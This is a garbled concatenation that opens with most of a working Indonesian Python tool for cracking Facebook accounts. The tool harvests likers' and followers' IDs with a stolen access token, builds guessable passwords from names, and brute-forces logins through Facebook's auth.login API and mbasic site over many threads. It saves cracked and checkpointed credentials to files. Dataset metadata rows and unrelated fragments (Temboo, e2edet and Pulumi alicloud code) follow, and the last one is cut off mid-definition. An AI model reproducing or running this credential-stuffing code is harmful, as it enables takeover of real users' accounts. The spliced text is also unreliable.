		jalan(("[!] Total ID : %s"%(len(id))))
		return pilihcrack(qq)
	except Exception as e:
		exit("\n [!] Error : %s"%e)
## crack Likes
def likers():
	try:
		toket=open("login.txt","r").read()
	except IOError:
		print(("\n [!] Cookie/Token Invalid"))
		os.system("rm -rf login.txt")
		logs()
	try:
		idt = input("[!] ID Post Target : ")
		try:
			jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
			op = json.loads(jok.text)
			print(("[!] Name : "+op["name"]))
		except KeyError:
			print(("[!] ID Not Found"))
			print(("\n [BACK]"))
			menu()
		r=requests.get("https://graph.facebook.com/"+idt+"/likes?limit=100000&access_token="+toket)
		id = []
		z=json.loads(r.text)
		qq = (op["first_name"]+".json").replace(" ","_")
		ys = open(qq , "w")#.replace(" ","_")
		for a in z["data"]:
			id.append(a["id"]+"<=>"+a["name"])
			ys.write(a["id"]+"<=>"+a["name"]+"\n")
		ys.close()
		print(("[!] Total ID : %s"%(len(id))))
		return pilihcrack(qq)
	except Exception as e:
		exit("\n [!] Error : %s"%e)
## Crack folowes
def follow():
	try:
		toket=open("login.txt","r").read()
	except IOError:
		print(("\n[!] Cookie/Token Invalid"))
		os.system("rm -rf login.txt")
		logs()
	try:
		idt = input("[!] Followers ID Target : ")
		try:
			jok = requests.get("https://graph.facebook.com/"+idt+"?access_token="+toket)
			op = json.loads(jok.text)
			print(("[!] Name: "+op["name"]))
		except KeyError:
			print(("[!] ID Not Found"))
			print(("\n [BACK]"))
			menu()
		r=requests.get("https://graph.facebook.com/"+idt+"/subscribers?limit=20000&access_token="+toket)
		id = []
		z=json.loads(r.text)
		qq = (op["first_name"]+".json").replace(" ","_")
		ys = open(qq , "w")#.replace(" ","_")
		for a in z["data"]:
			id.append(a["id"]+"<=>"+a["name"])
			ys.write(a["id"]+"<=>"+a["name"]+"\n")
		ys.close()
		print(("[!] Total ID : %s"%(len(id))))
		return pilihcrack(qq)
	except Exception as e:
		exit("\n [!] Error : %s"%e)
### Krek Nomer su! ###
def random_numbers():
  data = []
  print(("\n [!] Number Must Be 5 Digit"))
  kode=str(input("[!] Contoh : 92037\n"+p+" ["+k+"•"+m+"•"+p+"] Input Number: "))
  exit(("\n [!] Number Must Be 5 Digit")) if len(kode) < 5 else ''
  exit(("\n [!] Number Must Be 5 Digit")) if len(kode) > 5 else ''
  jml=int(input("[!] Amount : "))
  [data.append({'user': str(e), 'pw':[str(e[5:]), str(e[6:])]}) for e in [str(kode)+''.join(['%s'%(randint(0,9)) for i in range(0,7)]) for e in range(jml)]]
  print(p+" [!] Crack Started, Please Wait...\n")
  with concurrent.futures.ThreadPoolExecutor(max_workers=15) as th:
    {th.submit(brute, user['user'], user['pw']): user for user in data}
  input("\n [BACK]")
  menu()

### cloning imael
def random_email():
  data = []
  nama=input("[••] Target Name : ")
  domain=input("[••] Choose Domain [G]mail, [Y]ahoo, [H]otmail : ").lower().strip()
  list={
    'g':'@gmail.com',
    'y':'@yahoo.com',
    'h':'@hotmail.com'
  }
  exit(("\033[1;37m[••] Fill In The Correct")) if not domain in ['g','y','h'] else ''
  jml=int(input("[••] Amount : "))
  setpw=input("[••] Set Password : ").split(',')
  print("\033[1;37m [••] Crack Started, Please Wait...\n")
  [data.append({'user': nama+str(e)+list[domain], 'pw':[(i) for i in setpw]}) for e in range(1,jml+1)]
  with concurrent.futures.ThreadPoolExecutor(max_workers=15) as th:
    {th.submit(brute, user['user'], user['pw']): user for user in data}
  input("\n\033[1;37m [BACK]")
  menu()

## PASSWORD ###

def generate(text):
	results=[]
	global ips
	for name in text.split("<=>"):
		if len(name)<3:
			continue
		else:
			name=name.lower()
			if len(name)==3 or len(name)==4 or len(name)==5:
				results.append(name)
				results.append(name+"123")
				results.append(name+"123456")
			else:
				results.append(name)
				results.append(name+"123")
				results.append(name+"123456")
				results.append(name+"123456")
				if "indonesia" in ips:
					results.append("sayang")
					results.append("anjing")
					results.append("bismillah")
					results.append("kontol")
					results.append("freefire")
					results.append("bangsat")
					results.append("mobile legend")
					results.append("garena free fire")
					results.append("pubg mobile")
					results.append("kata sandi")
					results.append("bajingan")
	return results
## fb rute
def brute(user, passs):
  try:
    for pw in passs:
      params={
        'access_token': '350685531728%7C62f8ce9f74b12f84c123cc23437a4a32',
        'format': 'JSON',
        'sdk_version': '2',
        'email': user,
        'locale': 'en_US',
        'password': pw,
        'sdk': 'ios',
        'generate_session_cookies': '1',
        'sig': '3f555f99fb61fcd7aa0c44f58f522ef6',
      }
      api='https://b-api.facebook.com/method/auth.login'
      response=requests.get(api, params=params)
      if re.search('(EAAA)\w+', str(response.text)):
        print('\x1b[0;32m * --> %s • %s '%(str(user), str(pw)))
        break
      elif 'www.facebook.com' in response.json()['error_msg']:
        print('\x1b[0;33m * --> %s • %s '%(str(user), str(pw)))
        break
  except: pass

### BRUTE CRACK ###

class crack:
	os.system("clear")
	banner()
	def __init__(self,isifile):
		self.ada=[]
		self.cp=[]
		self.ko=0
		jalan(("\n [•] Crack With Pass Default/Manual [d/m]"))
		while True:
			f=input(p+" [•] Choose : ")
			if f=="":continue
			elif f=="m":
				try:
					while True:
						try:
							self.apk=isifile
							self.fs=open(self.apk).read().splitlines()
							break
						except Exception as e:
							print(("   %s"%e))
							continue
					self.fl=[]
					for i in self.fs:
						try:
							self.fl.append({"id":i.split("<=>")[0]})
						except:continue
				except Exception as e:
					print(("   %s"%e))
					continue
				jalan(("[•] Example : sayang,kontol,123456"))
				self.pwlist()
				break
			elif f=="d":
				try:
					while True:
						try:
							self.apk=isifile
							self.fs=open(self.apk).read().splitlines()
							break
						except Exception as e:
							print(("   %s"%e))
							continue
					self.fl=[]
					for i in self.fs:
						try:
							self.fl.append({"id":i.split("<=>")[0],"pw":generate(i.split("<=>")[1])})
						except:continue
				except Exception as e:
					print(("   %s"%e))
				print((p+"\n[•] Starting buat dosa :)"+p+"\n[•] Account [OK] Saved to : ok.txt"+p+"\n[•] Account [CP] Saved to : cp.txt"))
				ThreadPool(35).map(self.main,self.fl)
				os.remove(self.apk)
				exit()
				break
	def pwlist(self):
		self.pw=input("[•] Password List : ").split(",")
		if len(self.pw) ==0:
			self.pwlist()
		else:
			for i in self.fl:
				i.update({"pw":self.pw})
			print((p+"\n[•] Crack Started..."+p+"\n[!] Account [OK] Saved to : ok.txt"+p+"\n[•] Account [CP] Saved to : cp.txt"))
			ThreadPool(30).map(self.main,self.fl)
			os.remove(self.apk)
			exit()
	def main(self,fl):
		try:
			for i in fl.get("pw"):
				log=mbasic(fl.get("id"),
					i,"https://mbasic.facebook.com")
				if log.get("status")=="cp":
					print(("\r\x1b[0;33m * --> %s • %s\n               "%(fl.get("id"),i,)))
					self.cp.append("%s • %s"%(fl.get("id"),i))
					open("cp.txt","a+").write(
						"%s • %s\n"%(fl.get("id"),i))
					break
				elif log.get("status")=="success":
					print(("\r\x1b[0;32m * --> %s • %s               "%(fl.get("id"),i)))
					self.ada.append("%s • %s"%(fl.get("id"),i))
					open("ok.txt","a+").write(
						"%s • %s\n"%(fl.get("id"),i))
					break
				else:continue
					
			self.ko+=1
			print("\r\x1b[0;37m [dosa_bego]\x1b[0;37m %s/%s \x1b[0;37mOK : %s \x1b[0;37mCP : %s\x1b[0;37m"%(self.ko,len(self.fl),len(self.ada),len(self.cp)), end=' ');sys.stdout.flush()
		except:
			self.main(fl)
class crackttl:
	os.system("clear")
	banner()
	def __init__(self,isifile):
		self.ada=[]
		self.cp=[]
		self.ko=0
		print((p+"\n [!] Crack With Pass Default/Manual [d/m]"))
		while True:
			f=input("[?] Choose : ")
			if f=="":continue
			elif f=="m":
				try:
					while True:
						try:
							self.apk=isifile
							self.fs=open(self.apk).read().splitlines()
							break
						except Exception as e:
							print(("   %s"%e))
							continue
					self.fl=[]
					for i in self.fs:
						try:
							self.fl.append({"id":i.split("<=>")[0]})
						except:continue
				except Exception as e:
					print(("   %s"%e))
					continue
				print(("[!] Example : sayang,kontol,123456"))
				self.pwlist()
				break
			elif f=="d":
				try:
					while True:
						try:
							self.apk=isifile
							self.fs=open(self.apk).read().splitlines()
							break
						except Exception as e:
							print(("   %s"%e))
							continue
					self.fl=[]
					for i in self.fs:
						try:
							self.fl.append({"id":i.split("<=>")[0],"pw":generate(i.split("<=>")[1])})
						except:continue
				except Exception as e:
					print(("   %s"%e))
				print(("\n[•] Crack Started..."+p+"\n[•] Account [OK] Saved to : ok.txt"+p+"\n[•] Account [CP] Saved to : cp.txt"))
				ThreadPool(35).map(self.main,self.fl)
				os.remove(self.apk)
				exit()
				break
	def pwlist(self):
		self.pw=input(p+" [•] Password List : ").split(",")
		if len(self.pw) ==0:
			self.pwlist()
		else:
			for i in self.fl:
				i.update({"pw":self.pw})
			print((p+"\n[•] Crack Started !!!"+p+"\n[•] Account [OK] Saved to : ok.txt"+p+"\n[•] Account [CP] Saved to : cp.txt"))
			ThreadPool(30).map(self.main,self.fl)
			os.remove(self.apk)
			exit()
	def main(self,fl):
		try:
			for i in fl.get("pw"):
				log=mbasic(fl.get("id"),
					i,"https://mbasic.facebook.com")
				if log.get("status")=="cp":
					try:
						ke=requests.get("https://graph.facebook.com/"+fl.get("id")+"?access_token="+open("login.txt","r").read())
						tt=json.loads(ke.text)
						ttl=tt["birthday"]
					except:pass
					print("\r\x1b[0;33m * --> %s • %s • %s \x1b[0m   "%(fl.get("id"),i,str(ttl)))
					self.cp.append("%s • %s"%(fl.get("id"),i))
					open("cp.txt","a+").write(
						"%s • %s • %s\n"%(fl.get("id"),i,str(ttl)))
					break
				elif log.get("status")=="success":
					print(("\r\x1b[0;32m * --> %s • %s               "%(fl.get("id"),i)))
					self.ada.append("%s • %s"%(fl.get("id"),i))
					if fl.get("id") in open("ok.txt").read():
						break
					else:
						open("ok.txt","a+").write(
						"%s • %s\n"%(fl.get("id"),i))
					break
				else:continue
					
			self.ko+=1
			print("\r\x1b[0;37m [dosa_bego]\x1b[0;37m %s/%s \x1b[0;37mOK : %s \x1b[0;37mCP : %s\x1b[0;37m"%(self.ko,len(self.fl),len(self.ada),len(self.cp)), end=' ');sys.stdout.flush()
		except:
			self.main(fl)
class bapi:
  def __init__(self,isifile):
    self.setpw = False
    self.ok = []
    self.cp = []
    self.loop = 0
    self.krah(isifile)
  def krah(self,isifile):
    print(("\n[?] Crack With Pass Default/Manual [d/m]"))
    while True:
      f=input("[?] Choose : ")
      if f in[""," "]:
        print((p+" [!] Invalid Number"))
        continue
      elif f in["m","M"]:
        try:
          while True:
            try:
              self.apk=isifile
              self.fs=open(self.apk).read().splitlines()
              break
            except Exception as e:
              print((k+"["+p+"!"+k+"]"+p+" %s"%e))
              continue
          self.fl=[]
          print((p+" [•] Example : sayang,kontol,123456"))
          self.pw=input(p+" [•] Password List : ").split(",")
          if len(self.pw) ==0:
            continue
          for i in self.fs:
            try:
              self.fl.append({"id":i.split("<=>")[0],"pw":self.pw})
            except:
              continue
        except Exception as e:
          print(("  %s"%e))
          continue
        print(("\n [•] Started buat dosa :)"+p+"\n [•] Account [OK] Saved to : ok.txt"+p+"\n [•] Account [CP] Saved to : cp.txt"))
        ThreadPool(30).map(self.brute,self.fl)
        #os.remove(self.apk)
        exit()
        break
      elif f in["d","D"]:
        try:
          while True:
            try:
              self.apk=isifile
              self.fs=open(self.apk).read().splitlines()
              break
            except Exception as e:
              print(e)
              continue
          self.fl=[]
          for i in self.fs:
            try:
              self.fl.append({"id":i.split("<=>")[0],"pw":generate(i.split("<=>")[1])})
            except:continue
        except:
          continue
        print((p+"\n[•] Started buat dosa"+p+"\n[•] Account [OK] Saved to : ok.txt"+p+"\n[•] Account [CP] Saved to : cp.txt"))
        ThreadPool(30).map(self.brute,self.fl)
        os.remove(self.apk)
        exit()
        break
  def bruteRequest(self, username, password):
    global ok,cp,ttl
    params = {"access_token": "350685531728%7C62f8ce9f74b12f84c123cc23437a4a32",  "format": "JSON", "sdk_version": "2", "email": username, "locale": "en_US", "password": password, "sdk": "ios", "generate_session_cookies": "1", "sig": "3f555f99fb61fcd7aa0c44f58f522ef6"}
    api = "https://b-api.facebook.com/method/auth.login"
    response = requests.get(api, params=params)
    if re.search("(EAAA)\\w+", response.text):
      self.ok.append(username + " • " + password)
      print(("\r\x1b[0;32m * --> %s • %s %s               "%(username,password,N)))
      ok.append(username + " • " + password)
      save = open("ok.txt", "a")
      save.write(str(username) + " • " + str(password) + "\n")
      save.close()
      return True
    else:
      if "www.facebook.com" in response.json()["error_msg"]:
        self.cp.append(username + " • " + password)
        print(("\r\x1b[0;33m * --> %s • %s %s               "%(username,password,N)))
        save = open("cp.txt", "a+")
        save.write(str(username) + " • " + str(password) + "\n")
        save.close()
        return True
    return False
  def brute(self, fl):
    if self.setpw == False:
      self.loop += 1
      for pw in fl["pw"]:
        username = fl["id"].lower()
        password = pw.lower()
        try:
          if self.bruteRequest(username, password) == True:
            break
        except:
          continue
        print(("\r\x1b[0;37m [Crack]\x1b[0;37m %s/%s \x1b[0;37mOK : %s \x1b[0;37mCP : %s\x1b[0;37m"%(self.loop,len(self.fl),len(self.ok),len(self.cp))), end=' ');sys.stdout.flush()
    else:
      self.loop += 1
      for pw in self.setpw:
        username = users["id"].lower()
        password = pw.lower()
        try:
          if self.bruteRequest(username, password) == True:
            break
        except:
          continue
        print(("\r\x1b[0;37m [Crack]\x1b[0;37m %s/%s \x1b[0;37mOK : %s \x1b[0;37mCP : %s\x1b[0;37m"%(self.loop,len(self.fl),len(self.ok),len(self.cp))), end=' ');sys.stdout.flush()

class bapittl:
  def __init__(self,isifile):
    self.setpw = False
    self.ok = []
    self.cp = []
    self.loop = 0
    self.krah(isifile)
  def krah(self,isifile):
    print((p+"\n [•] Crack With Pass Default/Manual [d/m]"))
    while True:
      f=input(p+" [•] Choose : ")
      if f in[""," "]:
        print((p+" [•] Invalid Number"))
        continue
      elif f in["m","M"]:
        try:
          while True:
            try:
              self.apk=isifile
              self.fs=open(self.apk).read().splitlines()
              break
            except Exception as e:
              print((k+"["+p+"!"+k+"]"+p+" %s"%e))
              continue
          self.fl=[]
          print((p+" [•] Example : sayang,kontol,123456"))
          self.pw=input(p+" [•] Password List : ").split(",")
          if len(self.pw) ==0:
            continue
          for i in self.fs:
            try:
              self.fl.append({"id":i.split("<=>")[0],"pw":self.pw})
            except:
              continue
        except Exception as e:
          print(("  %s"%e))
          continue
        print((p+"\n [•] Crack Started..."+p+"\n [•] Account [OK] Saved to : ok.txt"+p+"\n [•] Account [CP] Saved to : cp.txt"))
        ThreadPool(30).map(self.brute,self.fl)
        #os.remove(self.apk)
        exit()
        break
      elif f in["d","D"]:
        try:
          while True:
            try:
              self.apk=isifile
              self.fs=open(self.apk).read().splitlines()
              break
            except Exception as e:
              print(e)
              continue
          self.fl=[]
          for i in self.fs:
            try:
              self.fl.append({"id":i.split("<=>")[0],"pw":generate(i.split("<=>")[1])})
            except:continue
        except:
          continue
        print((p+"\n [•] Crack Started..."+p+"\n [•] Account [OK] Saved to : ok.txt"+p+"\n [•] Account [CP] Saved to : cp.txt"))
        ThreadPool(30).map(self.brute,self.fl)
        os.remove(self.apk)
        exit()
        break
  def bruteRequest(self, username, password):
    global ok,cp,ttl
    params = {"access_token": "350685531728%7C62f8ce9f74b12f84c123cc23437a4a32",  "format": "JSON", "sdk_version": "2", "email": username, "locale": "en_US", "password": password, "sdk": "ios", "generate_session_cookies": "1", "sig": "3f555f99fb61fcd7aa0c44f58f522ef6"}
    api = "https://b-api.facebook.com/method/auth.login"
    response = requests.get(api, params=params)
    if re.search("(EAAA)\\w+", response.text):
      self.ok.append(username + " • " + password)
      print(("\r\x1b[0;32m * --> %s • %s %s               "%(username,password,N)))
      ok.append(username + " • " + password)
      save = open("ok.txt", "a")
      save.write(str(username) + " • " + str(password) + "\n")
      save.close()
      return True
    else:
      if "www.facebook.com" in response.json()["error_msg"]:
        try:
          ke=requests.get("https://graph.facebook.com/"+str(username)+"?access_token="+open("login.txt","r").read())
          tt=json.loads(ke.text)
          ttl=tt["birthday"]
        except:pass
        self.cp.append(username + " • " + password + " • " + ttl)
        print("\r\x1b[0;33m * --> %s • %s • %s   "%(username,password,ttl))
        save = open("cp.txt", "a+")
        save.write(str(username) + " • " + str(password) + " • "+ str(ttl)+"\n")
        save.close()
        return True
    return False
  def brute(self, fl):
    if self.setpw == False:
      self.loop += 1
      for pw in fl["pw"]:
        username = fl["id"].lower()
        password = pw.lower()
        try:
          if self.bruteRequest(username, password) == True:
            break
        except:
          continue
        print(("\r\x1b[0;37m [Crack]\x1b[0;37m %s/%s \x1b[0;37mOK : %s \x1b[0;37mCP : %s\x1b[0;37m"%(self.loop,len(self.fl),len(self.ok),len(self.cp))), end=' ');sys.stdout.flush()
    else:
      self.loop += 1
      for pw in self.setpw:
        username = users["id"].lower()
        password = pw.lower()
        try:
          if self.bruteRequest(username, password) == True:
            break
        except:
          continue
        print(("\r\x1b[0;37m [Crack]\x1b[0;37m %s/%s \x1b[0;37mOK : %s \x1b[0;37mCP : %s\x1b[0;37m"%(self.loop,len(self.fl),len(self.ok),len(self.cp))), end=' ');sys.stdout.flush()

class crackttl:
	os.system("clear")
	banner()
	def __init__(self,isifile):
		self.ada=[]
		self.cp=[]
		self.ko=0
		print((p+"\n [•] Crack With Pass Default/Manual [d/m]"))
		while True:
			f=input(p+" [•] Choose : ")
			if f=="":continue
			elif f=="m":
				try:
					while True:
						try:
							self.apk=isifile
							self.fs=open(self.apk).read().splitlines()
							break
						except Exception as e:
							print(("   %s"%e))
							continue
					self.fl=[]
					for i in self.fs:
						try:
							self.fl.append({"id":i.split("<=>")[0]})
						except:continue
				except Exception as e:
					print(("   %s"%e))
					continue
				print((p+" [•] Example : sayang,kontol,123456"))
				self.pwlist()
				break
			elif f=="d":
				try:
					while True:
						try:
							self.apk=isifile
							self.fs=open(self.apk).read().splitlines()
							break
						except Exception as e:
							print(("   %s"%e))
							continue
					self.fl=[]
					for i in self.fs:
						try:
							self.fl.append({"id":i.split("<=>")[0],"pw":generate(i.split("<=>")[1])})
						except:continue
				except Exception as e:
					print(("   %s"%e))
				print((p+"\n [•] Crack Started..."+p+"\n [•] Account [OK] Saved to : ok.txt"+p+"\n [•] Account [CP] Saved to : cp.txt"))
				ThreadPool(35).map(self.main,self.fl)
				os.remove(self.apk)
				exit()
				break
	def pwlist(self):
		self.pw=input(p+" [•] Password List : ").split(",")
		if len(self.pw) ==0:
			self.pwlist()
		else:
			for i in self.fl:
				i.update({"pw":self.pw})
			print((p+"\n ["+k+"•"+m+"•"+p+"] Crack Started..."+p+"\n ["+k+"•"+m+"•"+p+"] Account [OK] Saved to : ok.txt"+p+"\n ["+k+"•"+m+"•"+p+"] Account [CP] Saved to : cp.txt"))
			ThreadPool(30).map(self.main,self.fl)
			os.remove(self.apk)
			exit()
	def main(self,fl):
		try:
			for i in fl.get("pw"):
				log=mbasic(fl.get("id"),
					i,"https://mbasic.facebook.com")
				if log.get("status")=="cp":
					try:
						ke=requests.get("https://graph.facebook.com/"+fl.get("id")+"?access_token="+open("login.txt","r").read())
						tt=json.loads(ke.text)
						ttl=tt["birthday"]
					except:pass
					print("\r\x1b[0;33m * --> %s • %s • %s \x1b[0m   "%(fl.get("id"),i,str(ttl)))
					self.cp.append("%s • %s"%(fl.get("id"),i))
					open("cp.txt","a+").write(
						"%s • %s • %s\n"%(fl.get("id"),i,str(ttl)))
					break
				elif log.get("status")=="success":
					print(("\r\x1b[0;32m * --> %s • %s               "%(fl.get("id"),i)))
					self.ada.append("%s • %s"%(fl.get("id"),i))
					if fl.get("id") in open("ok.txt").read():
						break
					else:
						open("ok.txt","a+").write(
						"%s • %s\n"%(fl.get("id"),i))
					break
				else:continue
					
			self.ko+=1
			print("\r\x1b[0;37m [Crack]\x1b[0;37m %s/%s \x1b[0;37mOK : %s \x1b[0;37mCP : %s\x1b[0;37m"%(self.ko,len(self.fl),len(self.ada),len(self.cp)), end=' ');sys.stdout.flush()
		except:
			self.main(fl)
## Result Hasill ####
def cek_opsi():
	print((p+"\n [••] Masukan File cp.txt"))
	print((" [••] Contoh : cp.txt/ok.txt"))
	files = input(p+" [••] File: ")
	if files == "":
		cek_opsi()
	try:
		buka_baju = open(files, "r").readlines()
	except IOError:
		exit(p+" [••] Files %s%s%s Tidak Ada!"%(h,files,p))
	print(p+" [••] Total Account Cp : "+str(len(buka_baju)))
	print(p+" [••] Check Opsi Checkpoint, Please Wait...")
	for memek in buka_baju:
		kontol = memek.replace("\n","")
		titid  = kontol.split("•")
		print("[••] "+kontol.replace(" + ",""))
		try:
			check_in(titid[0].replace(" + ",""), titid[1])
		except requests.exceptions.ConnectionError:
			pass
	input("%s [BACK]"%(p))
	menu()

def check_in(user, pasw):
	mb = ("https://free.facebook.com")
	ua = ("Mozilla/5.0 (Linux; Android 4.1.2; Nokia_X Build/JZO54K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.82 Mobile Safari/537.36 NokiaBrowser/1.2.0.12")
	ses = requests.Session()
	ses.headers.update({"Host": "m.facebook.com","cache-control": "max-age=0","upgrade-insecure-requests": "1","origin": mb,"content-type": "application/x-www-form-urlencoded","user-agent": ua,"accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9","x-requested-with": "mark.via.gp","sec-fetch-site": "same-origin","sec-fetch-mode": "navigate","sec-fetch-user": "?1","sec-fetch-dest": "document","referer": mb+"/login/?next&ref=dbl&fl&refid=8","accept-encoding": "gzip, deflate","accept-language": "id-ID,id;q=0.9,en-US;q=0.8,en;q=0.7"})
	data = {}
	ged = parser(ses.get(mb+"/login/?next&ref=dbl&fl&refid=8", headers={"user-agent":ua}).text, "html.parser")
	fm = ged.find("form",{"method":"post"})
	list = ["lsd","jazoest","m_ts","li","try_number","unrecognized_tries","login","bi_xrwh"]
	for i in fm.find_all("input"):
		if i.get("name") in list:
			data.update({i.get("name"):i.get("value")})
		else:
			continue
	data.update({"email":user,"pass":pasw})
	run = parser(ses.post(mb+fm.get("action"), data=data, allow_redirects=True).text, "html.parser")
	if "checkpoint" in ses.cookies:
		form = run.find("form")
		dtsg = form.find("input",{"name":"fb_dtsg"})["value"]
		jzst = form.find("input",{"name":"jazoest"})["value"]
		nh   = form.find("input",{"name":"nh"})["value"]
		dataD = {"fb_dtsg": dtsg,"fb_dtsg": dtsg,"jazoest": jzst,"jazoest": jzst,"checkpoint_data":"","submit[Continue]":"Lanjutkan","nh": nh}
		xnxx = parser(ses.post(mb+form["action"], data=dataD).text, "html.parser")
		ngew = [yy.text for yy in xnxx.find_all("option")]
		print(p+" ["+k+"•"+m+"•"+p+"] Total Opsi Yang Tersedia "+str(len(ngew)))
		for opt in range(len(ngew)):
			print("   "+str(opt+1)+" "+ngew[opt])
	elif "login_error" in str(run):
		oh = run.find("div",{"id":"login_error"}).find("div").text
		print(p+" [••] %s"%(oh))
	else:
		print(p+" [••] Login Gagal, ID/Pass Salah\n")

if __name__=="__main__":
	os.system('git pull')
	menu()

# SUHU SUHU KOK REKAODE
# AWOK² :)
# BY : DIHI XCRACK
# SUSCRIBE CHENEL GUE SUHU
'))
| 6,875.142857
| 48,042
| 0.998317
| 60
| 48,126
| 800.75
| 0.983333
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.096173
| 0.000312
| 48,126
| 6
| 48,043
| 8,021
| 0.902455
| 0.001288
| 0
| 0
| 0
| 0.5
| 0.999064
| 0.999064
| 0
| 1
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 0.5
| 0
| 0.5
| 0
| 0
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 1
| 1
| 1
| null | 1
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
|
0
| 10
|
618b1bf0869ce49ac7277f3ac8220f7be736ad1e
| 173
|
py
|
Python
|
temboo/core/Library/Kiva/LendingActions/__init__.py
|
jordanemedlock/psychtruths
|
52e09033ade9608bd5143129f8a1bfac22d634dd
|
[
"Apache-2.0"
] | 7
|
2016-03-07T02:07:21.000Z
|
2022-01-21T02:22:41.000Z
|
temboo/core/Library/Kiva/LendingActions/__init__.py
|
jordanemedlock/psychtruths
|
52e09033ade9608bd5143129f8a1bfac22d634dd
|
[
"Apache-2.0"
] | null | null | null |
temboo/core/Library/Kiva/LendingActions/__init__.py
|
jordanemedlock/psychtruths
|
52e09033ade9608bd5143129f8a1bfac22d634dd
|
[
"Apache-2.0"
] | 8
|
2016-06-14T06:01:11.000Z
|
2020-04-22T09:21:44.000Z
|
from temboo.Library.Kiva.LendingActions.GetRecentLending import GetRecentLending, GetRecentLendingInputSet, GetRecentLendingResultSet, GetRecentLendingChoreographyExecution
| 86.5
| 172
| 0.919075
| 11
| 173
| 14.454545
| 0.909091
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.040462
| 173
| 1
| 173
| 173
| 0.957831
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| true
| 0
| 1
| 0
| 1
| 0
| 1
| 0
| 1
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
619b7d45cfbe9cf1f63e3449354d6baa22a4dbe0
| 202
|
py
|
Python
|
e2edet/criterion/__init__.py
|
eladb3/BoxeR
|
995a38b67e3f84b5d6ea6fedbcb16896c4b1d020
|
[
"MIT"
] | 18
|
2022-03-24T16:15:09.000Z
|
2022-03-31T18:17:41.000Z
|
e2edet/criterion/__init__.py
|
eladb3/BoxeR
|
995a38b67e3f84b5d6ea6fedbcb16896c4b1d020
|
[
"MIT"
] | 3
|
2022-03-28T12:34:34.000Z
|
2022-03-30T06:21:21.000Z
|
e2edet/criterion/__init__.py
|
eladb3/BoxeR
|
995a38b67e3f84b5d6ea6fedbcb16896c4b1d020
|
[
"MIT"
] | 2
|
2022-03-29T08:29:11.000Z
|
2022-03-30T03:06:17.000Z
|
import e2edet.criterion.metrics
import e2edet.criterion.losses
from e2edet.criterion.metrics import build_metric
from e2edet.criterion.losses import build_loss
__all__ = ["build_metric", "build_loss"]
| 28.857143
| 49
| 0.836634
| 27
| 202
| 5.962963
| 0.37037
| 0.372671
| 0.26087
| 0.347826
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0.021622
| 0.084158
| 202
| 6
| 50
| 33.666667
| 0.848649
| 0
| 0
| 0
| 0
| 0
| 0.108911
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| false
| 0
| 0.8
| 0
| 0.8
| 0
| 1
| 0
| 0
| null | 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 1
| 0
|
0
| 7
|
9ca10a6815e43be7463b06fccd42d6a170018882
| 110,435
|
py
|
Python
|
sdk/python/pulumi_alicloud/ess/scaling_configuration.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 42
|
2019-03-18T06:34:37.000Z
|
2022-03-24T07:08:57.000Z
|
sdk/python/pulumi_alicloud/ess/scaling_configuration.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 152
|
2019-04-15T21:03:44.000Z
|
2022-03-29T18:00:57.000Z
|
sdk/python/pulumi_alicloud/ess/scaling_configuration.py
|
pulumi/pulumi-alicloud
|
9c34d84b4588a7c885c6bec1f03b5016e5a41683
|
[
"ECL-2.0",
"Apache-2.0"
] | 3
|
2020-08-26T17:30:07.000Z
|
2021-07-05T01:37:45.000Z
|
# coding=utf-8
# *** WARNING: this file was generated by the Pulumi Terraform Bridge (tfgen) Tool. ***
# *** Do not edit by hand unless you're certain you know what you are doing! ***
import warnings
import pulumi
import pulumi.runtime
from typing import Any, Mapping, Optional, Sequence, Union, overload
from .. import _utilities
from . import outputs
from ._inputs import *
__all__ = ['ScalingConfigurationArgs', 'ScalingConfiguration']
@pulumi.input_type
class ScalingConfigurationArgs:
def __init__(__self__, *,
scaling_group_id: pulumi.Input[str],
active: Optional[pulumi.Input[bool]] = None,
credit_specification: Optional[pulumi.Input[str]] = None,
data_disks: Optional[pulumi.Input[Sequence[pulumi.Input['ScalingConfigurationDataDiskArgs']]]] = None,
enable: Optional[pulumi.Input[bool]] = None,
force_delete: Optional[pulumi.Input[bool]] = None,
image_id: Optional[pulumi.Input[str]] = None,
image_name: Optional[pulumi.Input[str]] = None,
instance_ids: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
instance_name: Optional[pulumi.Input[str]] = None,
instance_type: Optional[pulumi.Input[str]] = None,
instance_types: Optional[pulumi.Input[Sequence[pulumi.Input[str]]]] = None,
internet_charge_type: Optional[pulumi.Input[str]] = None,
internet_max_bandwidth_in: Optional[pulumi.Input[int]] = None,
internet_max_bandwidth_out: Optional[pulumi.Input[int]] = None,
io_optimized: Optional[pulumi.Input[str]] = None,
is_outdated: Optional[pulumi.Input[bool]] = None,
key_name: Optional[pulumi.Input[str]] = None,
kms_encrypted_password: Optional[pulumi.Input[str]] = None,
